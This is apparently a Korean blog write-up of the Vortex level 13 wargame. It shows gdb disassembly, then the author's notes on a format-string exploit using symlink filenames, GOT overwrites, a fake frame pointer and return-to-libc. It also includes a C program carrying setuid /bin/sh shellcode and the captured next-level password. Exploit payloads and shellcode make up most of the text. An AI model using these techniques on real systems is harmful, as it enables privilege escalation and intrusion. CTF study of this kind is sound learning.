   0x0804862e <+106>:   jne    0x80485f3 <main+47>

   0x08048630 <+108>:   addl   $0x1,0x1c(%esp)

   0x08048635 <+113>:   mov    0x804a02c,%eax

   0x0804863a <+118>:   mov    0x1c(%esp),%edx

   0x0804863e <+122>:   shl    $0x2,%edx

   0x08048641 <+125>:   add    %edx,%eax

   0x08048643 <+127>:   mov    (%eax),%eax

   0x08048645 <+129>:   test   %eax,%eax

   0x08048647 <+131>:   jne    0x80485e9 <main+37>

   0x08048649 <+133>:   movl   $0x0,0x1c(%esp)

   0x08048651 <+141>:   jmp    0x8048697 <main+211>

   0x08048653 <+143>:   movl   $0x0,0x18(%esp)

   0x0804865b <+151>:   jmp    0x8048678 <main+180>

   0x0804865d <+153>:   mov    0x1c(%esp),%eax

   0x08048661 <+157>:   shl    $0x2,%eax

   0x08048664 <+160>:   add    0xc(%ebp),%eax

   0x08048667 <+163>:   mov    (%eax),%edx

   0x08048669 <+165>:   mov    0x18(%esp),%eax

   0x0804866d <+169>:   lea    (%edx,%eax,1),%eax

   0x08048670 <+172>:   movb   $0x0,(%eax)

   0x08048673 <+175>:   addl   $0x1,0x18(%esp)

   0x08048678 <+180>:   mov    0x1c(%esp),%eax

   0x0804867c <+184>:   shl    $0x2,%eax

   0x0804867f <+187>:   add    0xc(%ebp),%eax

   0x08048682 <+190>:   mov    (%eax),%edx

   0x08048684 <+192>:   mov    0x18(%esp),%eax

   0x08048688 <+196>:   lea    (%edx,%eax,1),%eax

   0x0804868b <+199>:   movzbl (%eax),%eax

   0x0804868e <+202>:   test   %al,%al

   0x08048690 <+204>:   jne    0x804865d <main+153>

   0x08048692 <+206>:   addl   $0x1,0x1c(%esp)

   0x08048697 <+211>:   mov    0x1c(%esp),%eax

   0x0804869b <+215>:   shl    $0x2,%eax

   0x0804869e <+218>:   add    0xc(%ebp),%eax

   0x080486a1 <+221>:   mov    (%eax),%eax

   0x080486a3 <+223>:   test   %eax,%eax

   0x080486a5 <+225>:   jne    0x8048653 <main+143>

   0x080486a7 <+227>:   call   0x8048524 <vuln>

   0x080486ac <+232>:   mov    $0x0,%eax

   0x080486b1 <+237>:   leave 

   0x080486b2 <+238>:   ret   

End of assembler dump.


(gdb) disassemble vuln

Dump of assembler code for function vuln:

   0x08048524 <+0>:     push   %ebp

   0x08048525 <+1>:     mov    %esp,%ebp

   0x08048527 <+3>:     sub    $0x28,%esp

   0x0804852a <+6>:     movl   $0x14,-0x10(%ebp)

   0x08048531 <+13>:    mov    -0x10(%ebp),%eax

   0x08048534 <+16>:    mov    %eax,(%esp)

   0x08048537 <+19>:    call   0x8048450 <malloc@plt>

   0x0804853c <+24>:    mov    %eax,-0x14(%ebp)

   0x0804853f <+27>:    mov    0x804a030,%eax

   0x08048544 <+32>:    mov    %eax,%edx

   0x08048546 <+34>:    mov    -0x10(%ebp),%eax

   0x08048549 <+37>:    mov    %edx,0x8(%esp)

   0x0804854d <+41>:    mov    %eax,0x4(%esp)

   0x08048551 <+45>:    mov    -0x14(%ebp),%eax

   0x08048554 <+48>:    mov    %eax,(%esp)

   0x08048557 <+51>:    call   0x8048410 <fgets@plt>

   0x0804855c <+56>:    test   %eax,%eax

   0x0804855e <+58>:    jne    0x804856c <vuln+72>

   0x08048560 <+60>:    movl   $0x1,(%esp)

   0x08048567 <+67>:    call   0x8048460 <exit@plt>

   0x0804856c <+72>:    movl   $0x0,-0xc(%ebp)

   0x08048573 <+79>:    jmp    0x80485a6 <vuln+130>

   0x08048575 <+81>:    mov    -0xc(%ebp),%eax

   0x08048578 <+84>:    add    -0x14(%ebp),%eax

   0x0804857b <+87>:    movzbl (%eax),%eax

   0x0804857e <+90>:    movsbl %al,%edx

   0x08048581 <+93>:    mov    0x804a028,%eax

   0x08048586 <+98>:    mov    %edx,0x4(%esp)

   0x0804858a <+102>:   mov    %eax,(%esp)

   0x0804858d <+105>:   call   0x8048400 <strchr@plt>

   0x08048592 <+110>:   test   %eax,%eax

   0x08048594 <+112>:   jne    0x80485a2 <vuln+126>

   0x08048596 <+114>:   movl   $0x1,(%esp)

   0x0804859d <+121>:   call   0x8048460 <exit@plt>

   0x080485a2 <+126>:   addl   $0x1,-0xc(%ebp)

   0x080485a6 <+130>:   cmpl   $0x13,-0xc(%ebp)

   0x080485aa <+134>:   jle    0x8048575 <vuln+81>

   0x080485ac <+136>:   mov    -0x14(%ebp),%eax

   0x080485af <+139>:   mov    %eax,(%esp)

   0x080485b2 <+142>:   call   0x8048440 <printf@plt>

   0x080485b7 <+147>:   mov    -0x14(%ebp),%eax

   0x080485ba <+150>:   mov    %eax,(%esp)

   0x080485bd <+153>:   call   0x8048430 <free@plt>

   0x080485c2 <+158>:   leave 

   0x080485c3 <+159>:   ret   

End of assembler dump.



stack address : 0xffffde3c

free plt : 0x804a010


ln -s /vortex/vortex13 `perl -e '{print "\x3c\xde\xff\xff\x41\x41\x41"}'`


ln -s /vortex/vortex13 `perl -e '{print "\x10\xa0\x04\x08\x41\x41\x41"}'`

%34090d%120$hn  ==> 루프 성공.



vortex13@melissa:/tmp/hclee13$ ./loader

%120$x

ffffde3c

%34471d%120$hn

34097

%34085d%120$hn

%34090d%120$hn


%34084d%124$hn


0x0804a01c

           

ln -s /vortex/vortex13 `perl -e '{print "\x10\xa0\x04\x08\x1c\xa0\x04\x08\x1e\xa0\x04\x08\x10\xa0\x04\x08\x41\x41\x41"}'`

ln -s /vortex/vortex13 `perl -e '{print "\x10\xa0\x04\x08\x3c\xde\xff\xff\x3e\xde\xff\xff\x10\xa0\x04\x08\x41\x41\x41"}'`

ln -s /vortex/vortex13 `perl -e '{print "\xc9\xc3\x55\x89\xe5\x83\xe4\xf0\x83\xec\x20\x83\x7d\x08"}'`

118, 119, 120


0xf7f125d0 <execl>


0xf7f12770 <execlp>


%34090d%120$hn

%9680d%119$hn

%63473d%121$hn

%33846d%120$hn


(perl -e '{print "\%34090d\%118\$hn\n"}';perl -e '{print "\%9680d\%120\$hn\n"}'; perl -e '{print "\%63473d\%122\$hn\n"}';cat) | strace -x ./loader

(perl -e '{print "\%34090d\%118\$hn\n"}';perl -e '{print "\%62048d\%120\$hn\n"}'; perl -e '{print "\%63466d\%122\$hn\n"}';cat) | strace -x ./loader


%34090d%118$hn

%9680d%120$hn

%63473d%122$hn



%34090d%123$hn



0804a010 R_386_JUMP_SLOT   free

0804a014 R_386_JUMP_SLOT   printf

0804a018 R_386_JUMP_SLOT   malloc

0804a01c R_386_JUMP_SLOT   exit



aaa %34201d%121$hn


%34205d%121$hn


\311\303U\211\345\203\344\360\203\354 \203}\10

c9c35589e583ee4f083ec20837d08

ln -s /vortex/vortex13 `perl -e '{print "\xc9\xc3\x55\x89\xe5\x83\xe4\xf0\x83\xec\x20\x83\x7d\x08"}'`

%118$x

%119$x

%120$x 첫번째 1c

%121$x

%122$x

%115$x

%116$x

%117$x

%122$x

%122$x


%9680d%123$hn%53793d%124$hn  -> 헉..짤린다ㅡㅡ;

%9680d%123$hn%53793d%124$hn  -> 헉..짤린다ㅡㅡ;

27byte..-_-;

젠장..문제가 왜 이래-_-;;

%4159776208d%123$n

(gdb) print execl

$1 = {<text variable, no debug info>} 0xf7f125d0 <execl>

(gdb) print execve



시나리오2. [2013.07.11]

오랫만에 다시 도전!.. 새로운 방법이 떠올랐다.ㅎ

main과 vuln 함수 모두 leave, ret를 사용하고 있다.

vuln이 끝나면, main으로 돌아가 바로 leave, ret를 수행한다.

만약, saved frame pointer를 수정할 수 있다면, main의 leave, ret에 의해서 esp의 값을 변경할 수 있고,

main의 ret는 우리가 수정한 fake_stack에서 수행할 것이다.

위에서 시도했던 파일명으로 데이터를 넘기는 방법과, fake ebp 방법을 혼합해서 시도해보자.


vuln의 sfp가 저장되는 stack의 주소값을 찾아보자.


사이트의 특성상 디버깅이 원할하지 않다.ㅡ.ㅡ 짱놘다;


여튼..메모리를 대충 보니,


0xffffde38:     0x00000014      0x0804b008      0xf7fcf3e4      0x00008000

0xffffde48:     0xffffde78      0x080486c8      0xffffffff      0xf7e5f116

0xffffde58:     0xf7fceff4      0xf7e5f1a5      0xf7feb660      0x00000000


0x080486c8 이 주소가 main으로 리턴되는 주소이니,

0xffffde78 값이 SFP인 것 같다. 이 주소는 0xffffde48 이다.


그럼, 이 주소값에서 de78을 파일명이 시작되는 주소 근처로(shellcode가 존재하는) 위치로 바꿔보자.


x/500s $esp로 확인한 결과, 실행파일명은

0xffffdfed:      "./vortex13"

이 주소에 저장이 된다.

파일명이 뒤에서 부터 저장되는 것 같다.



FSB로 0xffffde48에 저장되어있는 값을 0xffffdfed + 4(FSB에서 사용될 값) - 4(leave로 줄어드는 값) 으로 바꾸고,

그 뒤에 system 함수의 주소를 넣어보자.


system의 주소는 0xf7e6b250 이다.


생성해야할 파일 명은,

[SFP address][0xdeadbeef][system]


byte align이 안맞에서 앞에서 padding을 해봤는데 안먹는닫.

ln -s /vortex/vortex13 `perl -e '{print "\x48\xde\xff\xffAAAA\x50\xb2\xe6\xf7AAA"}'`

./loader `perl -e '{print "\x48\xde\xff\xffAAAA\x50\xb2\xe6\xf7"}'`


OK.

$114$x를 하는 경우 첫번째 주소값이 찍혔다.


여기서 다시. gdb로 돌아가서 파일명의 길이가 바뀌었으니, stack의 구조도 바꼈을 것 같다. 확인해보자


파일명이 시작되는 주소값이 0xffffdfe8 이다.


그럼, dfe8+8 = dff0으로 sfp를 바꿔보자. -> 아니다. 그냥 dfe8로 바꾸면 된다.


%57320d%114$hn

%57328d%114$x


ln -s /vortex/vortex13 `perl -e '{print "\x48\xde\xff\xff\x50\xb2\xe6\xf7\x50\xb2\xe6\xf7AAA"}'`

./loader `perl -e '{print "\x48\xde\xff\xff\x50\xb2\xe6\xf7\x50\xb2\xe6\xf7AAA"}'`


system 함수까지는 갔다. 단, system의 아규먼트 주소가 invalid하니 이제 수정해보자.


ln -s /vortex/vortex13 `perl -e '{print "\x48\xde\xff\xff\x50\xb2\xe6\xf7\x50\xb2\xe6\xf7\xf4\xdf\xff\xffmsh"}'`

./loader `perl -e '{print "\x48\xde\xff\xff\x50\xb2\xe6\xf7\x50\xb2\xe6\xf7\xf4\xdf\xff\xffmsh"}'`


4byte가 늘었으므로, dfe0이 될것같다.

%57316d%113$hn


system 함수를 사용하니, PATH의 경로가 맞지 않아 사용할 수 없다. export로 현재 경로를 설정해도 system에서 새로운 sh에서 실행시키므로 안된다.

그래서 execve 함수로 바꾸었다.

그리고, setreu...를 실행시켜주는 프로그램을 만들어서 bash를 실행시켰다.



파일명이 길어지니, align이 바뀌었는지 싹 바뀌었다.


ln -s /vortex/vortex13 "`perl -e '{print "\x38\xde\xff\xff\x20\x45\xee\xf7\x20\x45\xee\xf7\xf4\xdf\xff\xff\xf8\xdf\xff\xff\xf8\xdf\xff\xffmsh"}'`"

./loader "`perl -e '{print "\x38\xde\xff\xff\x20\x45\xee\xf7\x20\x45\xee\xf7\xf4\xdf\xff\xff\xf8\xdf\xff\xff\xf8\xdf\xff\xffmsh"}'`"


파일명 시작 주소 : 0xffffdfe0


%57308d%115$hn


0xf7fd9000

0x804a040

$ whoami

vortex14

$ cat /etc/vortex_pass/vortex14

DL73}uzdh

$



msh code

//////////////////////////////////////////////////////////////////////////////

#include <stdio.h>

#include <sys/mman.h>

#include <string.h>

#include <stdlib.h>



char shellcode[] =

"\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80"

"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"

"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"

"\x80\xe8\xdc\xff\xff\xff/bin/sh";


int main()

{

   void *ptr = mmap(0, sizeof(shellcode),

            PROT_EXEC | PROT_WRITE | PROT_READ, MAP_ANON

            | MAP_PRIVATE, -1, 0);


    if (ptr == MAP_FAILED) {

        perror("mmap");

        exit(-1);

    }


    memcpy(ptr, shellcode, sizeof(shellcode));

    printf("%p\n", ptr);

    printf("%p\n", shellcode);


    void (*pointer)(void);

    pointer = (void *)ptr;


    pointer();


    return 0;

}

//////////////////////////////////////////////////////////////////////////////

GOOD!!!!!!!!..이제 머리속에서 조금씩 정리를 하고 있는 듯하다..ㅎ



[+] Level 14

  - id : vortex14

  - Password: DL73}uzdh



트랙백과 댓글 여닫기

TOP